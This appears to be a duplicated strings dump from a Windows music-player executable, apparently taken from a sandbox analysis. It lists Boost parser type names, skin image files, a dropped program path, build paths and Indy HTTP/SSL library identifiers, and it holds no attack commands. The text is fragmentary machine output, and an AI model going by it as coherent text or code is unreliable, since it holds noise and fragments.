.?AU?$abstract_parser@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@@impl@classic@spirit@boost@@

.?AU?$concrete_parser@U?$sequence@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@U?$alternative@V?$rule@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@U5234@@classic@spirit@boost@@V1234@@classic@spirit@boost@@@classic@spirit@boost@@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Uend_parser@classic@spirit@boost@@@234@@classic@spirit@boost@@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@Unil_t@234@@impl@classic@spirit@boost@@

.?AU?$concrete_parser@U?$sequence@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@U?$alternative@V?$rule@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@classic@spirit@boost@@Unil_t@234@U5234@@classic@spirit@boost@@V1234@@classic@spirit@boost@@@classic@spirit@boost@@U?$assertive_parser@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Uend_parser@classic@spirit@boost@@@234@@classic@spirit@boost@@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@Unil_t@234@@impl@classic@spirit@boost@@

.?AV?$sp_counted_impl_p@U?$grammar_helper@U?$grammar@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@boost@@U?$parser_context@Unil_t@classic@spirit@boost@@@classic@spirit@4@@classic@spirit@boost@@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@4@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@@impl@classic@spirit@boost@@@detail@boost@@

.?AV?$sp_counted_impl_p@U?$grammar_helper@U?$grammar@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@boost@@U?$parser_context@Unil_t@classic@spirit@boost@@@classic@spirit@4@@classic@spirit@boost@@U?$json_grammar@V?$basic_ptree@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@V12@U?$less@V?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@2@@property_tree@boost@@@json_parser@property_tree@4@V?$scanner@V?$_Vector_iterator@V?$_Vector_val@_WV?$allocator@_W@std@@@std@@@std@@U?$scanner_policies@V?$skip_parser_iteration_policy@U?$alternative@U?$alternative@Uspace_parser@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@U?$alternative@Ueol_parser@classic@spirit@boost@@Uend_parser@234@@234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@U?$confix_parser@V?$strlit@PBD@classic@spirit@boost@@U?$kleene_star@Uanychar_parser@classic@spirit@boost@@@234@V1234@Uunary_parser_category@234@Unon_nested@234@Uis_lexeme@234@@234@@classic@spirit@boost@@Uiteration_policy@234@@classic@spirit@boost@@Umatch_policy@234@Uaction_policy@234@@classic@spirit@boost@@@234@@impl@classic@spirit@boost@@@detail@boost@@

%Program Files%\yyfm0529\2014081121\yymusic05.exe

%Program Files%\yyfm0529\2014081121\yymusic05.exe

fiTXtXML:com.adobe.xmp

fiTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

#%DSZ

#%DSZ

k/.ea"#>Nn

k/.ea"#>Nn

W%u3>C

W%u3>C

f9Ky.RW`

f9Ky.RW`

125x125.jpg

125x125.jpg

L.Xkj

L.Xkj

320x225.png

320x225.png

astop.png}W

astop.png}W

back.png

back.png

bg2.png}SOh

bg2.png}SOh

bg3.png

bg3.png

bg_2.png}S]H

bg_2.png}S]H

bk.png|

bk.png|

I[CsS%SC

I[CsS%SC

.qO9M

.qO9M

t%7UfEa

t%7UfEa

zC%f

zC%f

]#%Sj

]#%Sj

J%XDU@}T

J%XDU@}T

8i.aV;

8i.aV;

%fiHZZ9

%fiHZZ9

3Nv%F

3Nv%F

R%cV}V

R%cV}V

mD%SK'l9

mD%SK'l9

QC

QC

bkcolor_1.png

bkcolor_1.png

bkcolor_2.png

bkcolor_2.png

bkcolor_3.png

bkcolor_3.png

bkcolor_4.png

bkcolor_4.png

bkcolor_5.png

bkcolor_5.png

bkcolor_6.png

bkcolor_6.png

bkcolor_7.png

bkcolor_7.png

border.png

border.png

L9q

L9q

btn-anonymity.png}

btn-anonymity.png}

[).XF

[).XF

'q.CAqK

'q.CAqK

btn-delete.png

btn-delete.png

btn-fav.png}Wy8

btn-fav.png}Wy8

btn-login.png}

btn-login.png}

btn-login2.png

btn-login2.png

[%*,\4>66

[%*,\4>66

%S;&DN

%S;&DN

btn-next.png

btn-next.png

btn-pause.png}X

btn-pause.png}X

btn-play.png

btn-play.png

BtnHidePlayList.png

BtnHidePlayList.png

BtnRightTop.png

BtnRightTop.png

btn_9k.png}Wy8

btn_9k.png}Wy8

btn_bd.png}Xy8

btn_bd.png}Xy8

btn_close.png}Vy8

btn_close.png}Vy8

btn_comm.png

btn_comm.png

btn_db.png}W

btn_db.png}W

btn_fh.png}XwT

btn_fh.png}XwT

btn_kw.png}

btn_kw.png}

btn_ok.png}W

btn_ok.png}W

l[O{#. %x

l[O{#. %x

btn_ok_blue.png

btn_ok_blue.png

btn_ok_red.png}

btn_ok_red.png}

btn_sc.png

btn_sc.png

=%uIS

=%uIS

btn_xm.png}X

btn_xm.png}X

button.png

button.png

channel.png

channel.png

close.png

close.png

collection.png

collection.png

ðxEuJxg

ðxEuJxg

color_list_bk.png

color_list_bk.png

\dl

\dl

dash.png}SM

dash.png}SM

DefaultUserImage.jpg

DefaultUserImage.jpg

%S]wF

%S]wF

downd.png

downd.png

downda.png

downda.png

downdahover.png

downdahover.png

DownLoadProgressForeImage.png

DownLoadProgressForeImage.png

exit.png}U

exit.png}U

fbcaptionbk.png

fbcaptionbk.png

feedback.png}V

feedback.png}V

>/.Yhi

>/.Yhi

font_bkcolor.png

font_bkcolor.png

font_forecolor.png

font_forecolor.png

forecolor_1.png

forecolor_1.png

forecolor_2.png

forecolor_2.png

forecolor_3.png

forecolor_3.png

forecolor_4.png

forecolor_4.png

.IDATx

.IDATx

forecolor_5.png

forecolor_5.png

forecolor_6.png

forecolor_6.png

forecolor_7.png

forecolor_7.png

forgettt.jpg

forgettt.jpg

frmdownmenu.xml

frmdownmenu.xml

FrmDropDownMenuFrame.xml

FrmDropDownMenuFrame.xml

FrmFeedBack.xmle

FrmFeedBack.xmle

FrmHotKeyTip.xmlu

FrmHotKeyTip.xmlu

frmlogin.xml

frmlogin.xml

FrmLrcChild.xmlU

FrmLrcChild.xmlU

FrmMenuFrame.xml

FrmMenuFrame.xml

frmplayer.xml

frmplayer.xml

frmplaylist.xml

frmplaylist.xml

frmProgressToolTip.xmlUPKN

frmProgressToolTip.xmlUPKN

frmWebBrowser.xml=

frmWebBrowser.xml=

frmWindowLrc.xml%M1

frmWindowLrc.xml%M1

frmWindowLrcParent.xml%

frmWindowLrcParent.xml%

headimg.png}

headimg.png}

d%U(.6

d%U(.6

tG%C*

tG%C*

history.png

history.png

home.png}VgTS

home.png}VgTS

hotkeytipbk.png

hotkeytipbk.png

icon.png

icon.png

input-password.png}U

input-password.png}U

input-user.png

input-user.png

like.png

like.png

!\Un%x

!\Un%x

list.png

list.png

lista.png

lista.png

D-wjÓ

D-wjÓ

listahover.png

listahover.png

list_item_bg.png}S

list_item_bg.png}S

list_pause.png

list_pause.png

list_play.png

list_play.png

list_scroll_bar.png}SmH

list_scroll_bar.png}SmH

list_scroll_bar2.png}S_H

list_scroll_bar2.png}S_H

{òC

{òC

list_title_bg.png}S

list_title_bg.png}S

loading01.png

loading01.png

loading02.png

loading02.png

loading03.png

loading03.png

loading04.png

loading04.png

LoginBk.png

LoginBk.png

%S%hu.Y

%S%hu.Y

g).IQ

g).IQ

LrcBk.png

LrcBk.png

u-3H}.

u-3H}.

lrclist.png}Xy8

lrclist.png}Xy8

@.xn?

@.xn?

lyricdelete.png

lyricdelete.png

lyricdeletea.png

lyricdeletea.png

lyricdeletea2.png

lyricdeletea2.png

LyricFrameVoice.png

LyricFrameVoice.png

lyricmute.png

lyricmute.png

lyrictoplay.png

lyrictoplay.png

mainframeshadow.png

mainframeshadow.png

3.jUj

3.jUj

max.png

max.png

menu.png

menu.png

min.png}SOh

min.png}SOh

mine.png

mine.png

minea.png

minea.png

mineahover.png

mineahover.png

mini.png

mini.png

mE)iVA.nP

mE)iVA.nP

more.png}SOH

more.png}SOH

musiclibrary.png

musiclibrary.png

next.png}ViTSg

next.png}ViTSg

next0520.png

next0520.png

normalVolume.png}U

normalVolume.png}U

%DZRlj

%DZRlj

play0520.png

play0520.png

play2.png

play2.png

playerbg01.png

playerbg01.png

playerbg02.png

playerbg02.png

playerlist.png}X

playerlist.png}X

playersidebg.jpg

playersidebg.jpg

playinging.jpg

playinging.jpg

playinginga.jpg

playinginga.jpg

".Wlm

".Wlm

playingnext.png

playingnext.png

playingplaying.jpg

playingplaying.jpg

playingprev.jpg

playingprev.jpg

playingpreva.jpg

playingpreva.jpg

playingrandom.jpg

playingrandom.jpg

playingrandoma.jpg

playingrandoma.jpg

playingvoice.png}V

playingvoice.png}V

PlayProgressForeImage.png

PlayProgressForeImage.png

pl_back.png}S_h

pl_back.png}S_h

pl_bg.png

pl_bg.png

pl_big.png

pl_big.png

pl_btn_down.png}Tih

pl_btn_down.png}Tih

pl_btn_on.png

pl_btn_on.png

pl_close.png}S[H

pl_close.png}S[H

pl_color.png

pl_color.png

pl_desktop.png

pl_desktop.png

pl_feedback.png}SKL

pl_feedback.png}SKL

pl_forward.png}S_H

pl_forward.png}S_H

pl_icon.png}Wy8

pl_icon.png}Wy8

pl_itself.png

pl_itself.png

pl_mutevol.png

pl_mutevol.png

pl_next.png}S_h

pl_next.png}S_h

pl_pause.png}SKh

pl_pause.png}SKh

pl_prev.png

pl_prev.png

pl_res.png

pl_res.png

pl_set.png

pl_set.png

pl_small.png}Tmh

pl_small.png}Tmh

pl_split.png}S_h

pl_split.png}S_h

pl_vol.png

pl_vol.png

pop_bkimage.png}U

pop_bkimage.png}U

power.png}XgTS

power.png}XgTS

,&.,/!./*

,&.,/!./*

prev.png}ViTS

prev.png}ViTS

prev0520.png

prev0520.png

prevention.png

prevention.png

progresstooltip.png

progresstooltip.png

progresstooltipbk.png

progresstooltipbk.png

.ZfDrhe

.ZfDrhe

T%s61K

T%s61K

m;.rA

m;.rA

progress_fore.png

progress_fore.png

pushedVolume.png

pushedVolume.png

random.jpg

random.jpg

random01.jpg

random01.jpg

random01a.jpg

random01a.jpg

random01hover.jpg

random01hover.jpg

random02.jpg

random02.jpg

random02a.jpg

random02a.jpg

random02hover.jpg

random02hover.jpg

random03.jpg

random03.jpg

random03a.jpg

random03a.jpg

random03hover.jpg

random03hover.jpg

random0520.png

random0520.png

reflash.png

reflash.png

remembertt.jpg

remembertt.jpg

scrollbar.png

scrollbar.png

search.png

search.png

E.Eg/&

E.Eg/&

SelectColor_SliderBar_Thumb.png

SelectColor_SliderBar_Thumb.png

5).uZ

5).uZ

slider_bg.png

slider_bg.png

sound (2).jpg

sound (2).jpg

sound.jpg

sound.jpg

sound100.jpg

sound100.jpg

steup.png}

steup.png}

suspensionbig.png

suspensionbig.png

suspensionbiga.png

suspensionbiga.png

suspensionbigahover.png

suspensionbigahover.png

suspensionclose.png

suspensionclose.png

suspensionclosea.png

suspensionclosea.png

suspensioncloseahover.png

suspensioncloseahover.png

suspensionfeedback.png

suspensionfeedback.png

suspensionfeedbacka.png

suspensionfeedbacka.png

suspensionfeedbackahover.png

suspensionfeedbackahover.png

suspensionlogin.png

suspensionlogin.png

suspensionmin.png

suspensionmin.png

suspensionmina.png

suspensionmina.png

suspensionminahover.png

suspensionminahover.png

suspensionset.png

suspensionset.png

suspensionseta.png

suspensionseta.png

suspensionsetahover.png

suspensionsetahover.png

suspensiontop.png

suspensiontop.png

suspensiontopa.png

suspensiontopa.png

suspensiontopahover.png

suspensiontopahover.png

system_menu_btnexit.png

system_menu_btnexit.png

system_menu_btnfeedback.png}V

system_menu_btnfeedback.png}V

system_menu_btnmin.png

system_menu_btnmin.png

;7%2uf

;7%2uf

system_menu_btnmini.png

system_menu_btnmini.png

system_menu_btnsteup.png}

system_menu_btnsteup.png}

system_menu_btntop.png}W

system_menu_btntop.png}W

sys_check_btn.png

sys_check_btn.png

sys_check_btn_blue.png

sys_check_btn_blue.png

sys_check_btn_red.png

sys_check_btn_red.png

sys_check_btn_whiter.png

sys_check_btn_whiter.png

tab_comm.png

tab_comm.png

tooltipbk.png

tooltipbk.png

update.xml

update.xml

voice00528.png

voice00528.png

voice0520.png

voice0520.png

voice0a0528.png

voice0a0528.png

voice1000528.png

voice1000528.png

voiceall0528.png

voiceall0528.png

astop.png

astop.png

bg2.png

bg2.png

bg_2.png

bg_2.png

bk.png

bk.png

btn-anonymity.png

btn-anonymity.png

btn-fav.png

btn-fav.png

btn-login.png

btn-login.png

btn-pause.png

btn-pause.png

btn_9k.png

btn_9k.png

btn_bd.png

btn_bd.png

btn_close.png

btn_close.png

btn_db.png

btn_db.png

btn_fh.png

btn_fh.png

btn_kw.png

btn_kw.png

btn_ok.png

btn_ok.png

btn_ok_red.png

btn_ok_red.png

btn_xm.png

btn_xm.png

dash.png

dash.png

exit.png

exit.png

feedback.png

feedback.png

frmProgressToolTip.xml

frmProgressToolTip.xml

frmWebBrowser.xml

frmWebBrowser.xml

headimg.png

headimg.png

home.png

home.png

input-password.png

input-password.png

list_item_bg.png

list_item_bg.png

list_scroll_bar.png

list_scroll_bar.png

list_scroll_bar2.png

list_scroll_bar2.png

list_title_bg.png

list_title_bg.png

lrclist.png

lrclist.png

min.png

min.png

more.png

more.png

next.png

next.png

normalVolume.png

normalVolume.png

playerlist.png

playerlist.png

playingvoice.png

playingvoice.png

pl_back.png

pl_back.png

pl_btn_down.png

pl_btn_down.png

pl_close.png

pl_close.png

pl_feedback.png

pl_feedback.png

pl_forward.png

pl_forward.png

pl_icon.png

pl_icon.png

pl_next.png

pl_next.png

pl_small.png

pl_small.png

pl_split.png

pl_split.png

pop_bkimage.png

pop_bkimage.png

power.png

power.png

prev.png

prev.png

steup.png

steup.png

system_menu_btnfeedback.png

system_menu_btnfeedback.png

system_menu_btnsteup.png

system_menu_btnsteup.png

system_menu_btntop.png

system_menu_btntop.png

.Zuxf

.Zuxf

tCPS

tCPS

$;y)#%s

$;y)#%s

.QsvC

.QsvC

.VvC v

.VvC v

lH)Qk%c

lH)Qk%c

4n.Ei

4n.Ei

,GA.GS

,GA.GS

55

55

6 6$6(6,6

6 6$6(6,6

7(7.787?7

7(7.787?7

> >'>.>5>]>

> >'>.>5>]>

0%0U0

0%0U0

5$5(5,5054585

5$5(5,5054585

3M4

3M4

? ?$?(?,?0?4?8?

? ?$?(?,?0?4?8?

7-7R7}7

7-7R7}7

> >$>(>,>0>4>8>

> >$>(>,>0>4>8>

4 4$4(4,4044484

4 4$4(4,4044484

6 6$6(6,60646

6 6$6(6,60646

8 8$8(8,80848

8 8$8(8,80848

3 3$3(3,3034383

3 3$3(3,3034383

? ?$?(?,?0?4?8?@?

? ?$?(?,?0?4?8?@?

3 3$3(3,3034383

3 3$3(3,3034383

: :@:`:|:

: :@:`:|:

=$=,=4=

=$=,=4=

4 5$5(545

4 5$5(545

mscoree.dll

mscoree.dll

LKERNEL32.DLL

LKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

Skin\bkcolor_1.png

Skin\bkcolor_1.png

Skin\forecolor_1.png

Skin\forecolor_1.png

Skin\bkcolor_2.png

Skin\bkcolor_2.png

Skin\forecolor_2.png

Skin\forecolor_2.png

Skin\bkcolor_3.png

Skin\bkcolor_3.png

Skin\forecolor_3.png

Skin\forecolor_3.png

Skin\bkcolor_4.png

Skin\bkcolor_4.png

Skin\forecolor_4.png

Skin\forecolor_4.png

Skin\bkcolor_5.png

Skin\bkcolor_5.png

Skin\forecolor_5.png

Skin\forecolor_5.png

Skin\bkcolor_6.png

Skin\bkcolor_6.png

Skin\forecolor_6.png

Skin\forecolor_6.png

Skin\bkcolor_7.png

Skin\bkcolor_7.png

Skin\forecolor_7.png

Skin\forecolor_7.png

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/rapidxml.hpp

E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/rapidxml.hpp

E:\zhuyicheng\boost_1_53_0\boost/optional/optional.hpp

E:\zhuyicheng\boost_1_53_0\boost/optional/optional.hpp

!p.empty() && "Empty path not allowed for put_child."

!p.empty() && "Empty path not allowed for put_child."

errorUrl

errorUrl

E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml.hpp

E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml.hpp

E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml_print.hpp

E:\zhuyicheng\svn\trunk\MusicPlayerSrc\win32\MusicPlayer\Header Files\rapidxml/rapidxml_print.hpp

E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/shared_ptr.hpp

E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/shared_ptr.hpp

E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/scoped_ptr.hpp

E:\zhuyicheng\boost_1_53_0\boost/smart_ptr/scoped_ptr.hpp

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/impl/match.ipp

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/impl/match.ipp

val.is_initialized()

val.is_initialized()

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/match.hpp

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/core/match.hpp

c.stack.size() >= 1

c.stack.size() >= 1

Song.music_id

Song.music_id

Song.artid

Song.artid

Song.name

Song.name

Song.artist

Song.artist

Song.special

Song.special

Song.artist_pic240

Song.artist_pic240

Song.mp3path

Song.mp3path

Song.mp3dl

Song.mp3dl

hXXp://

hXXp://

=data.xcode

=data.xcode

data.songList

data.songList

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/utility/impl/chset/range_run.ipp

E:\zhuyicheng\boost_1_53_0\boost/spirit/home/classic/utility/impl/chset/range_run.ipp

r.is_valid()

r.is_valid()

tplayList.trackList

tplayList.trackList

Assertion failed: %s, file %s, line %d

Assertion failed: %s, file %s, line %d

1.14.529.1

1.14.529.1

MusicPla.exe

MusicPla.exe

YFMSever.exe_3420:

.idata

.idata

.rdata

.rdata

`.rsrc

`.rsrc

kernel32.dll

kernel32.dll

Windows

Windows

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

oleaut32.dll

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

u%CNu

u%CNu

%s[%d]

%s[%d]

%s_%d

%s_%d

EInvalidGraphicOperation

EInvalidGraphicOperation

Uh.FB

Uh.FB

USER32.DLL

USER32.DLL

comctl32.dll

comctl32.dll

uxtheme.dll

uxtheme.dll

OnKeyDown

OnKeyDown

OnKeyPress

OnKeyPress

OnKeyUp

OnKeyUp

UrlMon

UrlMon

Proportional

Proportional

%s%s%s%s%s%s%s%s%s%s

%s%s%s%s%s%s%s%s%s%s

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

JumpID("","%s")

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

HelpKeywordteA

HelpKeywordteA

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

AutoHotkeys

AutoHotkeys

AutoHotkeys8~D

AutoHotkeys8~D

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

TWMKey

TWMKey

KeyPreview

KeyPreview

WindowState

WindowState

tagMSG

tagMSG

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

vcltest3.dll

User32.dll

User32.dll

%s, ClassID: %s

%s, ClassID: %s

ole32.dll

ole32.dll

olepro32.dll

olepro32.dll

getservbyport

getservbyport

WSAAsyncGetServByPort

WSAAsyncGetServByPort

WSAJoinLeaf

WSAJoinLeaf

WS2_32.DLL

WS2_32.DLL

127.0.0.1

127.0.0.1

Uh.AF

Uh.AF

TIdSocketListWindows

TIdSocketListWindows

TIdStackWindowsU

TIdStackWindowsU

IdStackWindows

IdStackWindows

%s, %.2d %s %.4d %s %s

%s, %.2d %s %.4d %s %s

%s, %d %s %d %s %s

%s, %d %s %d %s %s

ftpTransfer

ftpTransfer

ftpReady

ftpReady

ftpAborted

ftpAborted

ClientPortMin

ClientPortMin

ClientPortMax

ClientPortMax

Port

Port

EIdCanNotBindPortInRange

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

EIdInvalidPortRangeSVW

saUsernamePassword

saUsernamePassword

Password

Password

0.0.0.1

0.0.0.1

TIdTCPConnection

TIdTCPConnection

TIdTCPConnection0

TIdTCPConnection0

IdTCPConnection

IdTCPConnection

EIdTCPConnectionError

EIdTCPConnectionError

TIdTCPClient

TIdTCPClient

IdTCPClient

IdTCPClient

BoundPort

BoundPort

PortU

PortU

password

password

Password

Password

IdHTTPHeaderInfo

IdHTTPHeaderInfo

ProxyPassword

ProxyPassword

ProxyPort

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

Mozilla/3.0 (compatible; Indy Library)

libeay32.dll

libeay32.dll

ssleay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

X509_STORE_CTX_get_current_cert

des_set_key

des_set_key

sslvrfFailIfNoPeerCert

sslvrfFailIfNoPeerCert

TPasswordEvent

TPasswordEvent

Certificate

Certificate

RootCertFile,}@

RootCertFile,}@

CertFile,}@

CertFile,}@

KeyFile

KeyFile

OnGetPasswordTGG

OnGetPasswordTGG

EIdOSSLLoadingRootCertError

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError

CommentURL

CommentURL

TIdHTTPMethod

TIdHTTPMethod

IdHTTP

IdHTTP

TIdHTTPOption

TIdHTTPOption

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

IdHTTPx

IdHTTPx

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPResponse

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPRequestd

TIdHTTPRequestd

TIdHTTPProtocolx

TIdHTTPProtocolx

TIdCustomHTTP

TIdCustomHTTP

TIdCustomHTTPx

TIdCustomHTTPx

TIdHTTP`

TIdHTTP`

TIdHTTP

TIdHTTP

HTTPOptionst

HTTPOptionst

EIdHTTPProtocolException

EIdHTTPProtocolException

